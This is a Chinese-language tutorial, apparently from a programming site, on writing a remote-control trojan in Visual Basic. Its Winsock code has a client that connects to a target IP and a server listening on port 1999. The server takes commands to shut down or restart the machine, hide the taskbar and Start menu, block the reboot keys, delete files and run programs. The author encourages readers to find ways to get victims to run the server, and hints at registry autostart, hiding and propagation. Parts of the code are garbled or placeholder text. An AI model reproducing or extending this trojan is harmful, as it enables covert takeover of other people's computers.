木马,也称特伊洛木马,名称源于古希腊的特伊洛马神话,是一种远程控制软件。 现在网络上流行的木马软件基本都是客户机/服务器模式也就是所谓的c/s结构,目前也有一些开始向b/s结构转变,在这里暂且不对b/s结构进行详谈,本文主要介绍c/s结构其原理就是在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用vb来实现它。
首先使用vb建立两个程序,一个为客户端程序client,一个为服务器端程序systry。
在client工程中建立一个窗体,加载winsock控件,称为tcpclient,协议选择tcp,再加入两个文本框,用以输入服务器的ip地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:
private sub cmdconnect_click()
if len(text1.text) = 0 and len(text2.text) = 0 then
msgbox ("请输入主机名或主机ip地址。")
exit sub
else
if len(text1.text) > 0 then
tcpclient.remotehost = text1.text
else
tcpclient.remotehost = text2.text
end if
end if
tcpclient.connect
timer1.enabled = true
end sub
private sub form_load()
tcpserver.localport = 1999
tcpserver.listen
end sub
private sub tcpserver_connectionrequest
(byval requestid as long)
if tcpserver.state <> sckclosed then
tcpserver.close‘检查控件的 state 属性是否为关闭的。
end if ’如果不是,在接受新的连接之前先关闭此连接。
tcpserver.accept requestid
end sub
private sub tcpserver_dataarrival
(byval bytestotal as long)
dim strdata as string
dim i as long
dim mkey as string
tcpserver.getdata strdata
‘接收数据并存入strdata
for i = 1 to len(strdata)
‘分离strdata中的命令
if mid(strdata, i, 1) = "@" then
mkey = left(strdata, i - 1)
‘把命令id号存入mkey
‘把命令参数存入strdata
strdata = right(strdata, len(strdata) - i)
exit for
end if
next i
select case val(mkey)
case 1
‘驱动器名、目录名、文件名
case 2
强制关闭服务器端的计算机
case 3
强制重启服务器端的计算机
case 4
屏蔽任务栏窗口;
case 5
屏蔽开始菜单;
case 6
按照客户机端传过来的文件名或目录名,而删除它;
case 7
屏蔽热启动键;
case 8
运行服务器端的任何程序
end select
end sub
private sub tcpserver_close()
tcpserver.close
tcpserver.listen
end sub
这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。
成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用bo程序破坏别人的系统。
Java Asp PHP .Net XML C/C++ CGI VB Jsp J2ee J2se J2me EJB Servlet Tomcat Resin Struts Weblogic Eclipse ANT GUI JMS Web servise IDEA Webphere Hibernate Spring Jboss Applet Swing Socket Javamail Perl Ajax P2P 安全 模式 框架 测试 开源 游戏
Windows XP Windows 2000 Windows 2003 Windows Me Windows 9.x Linux UNIX 注册表 操作系统 服务器 应用服务器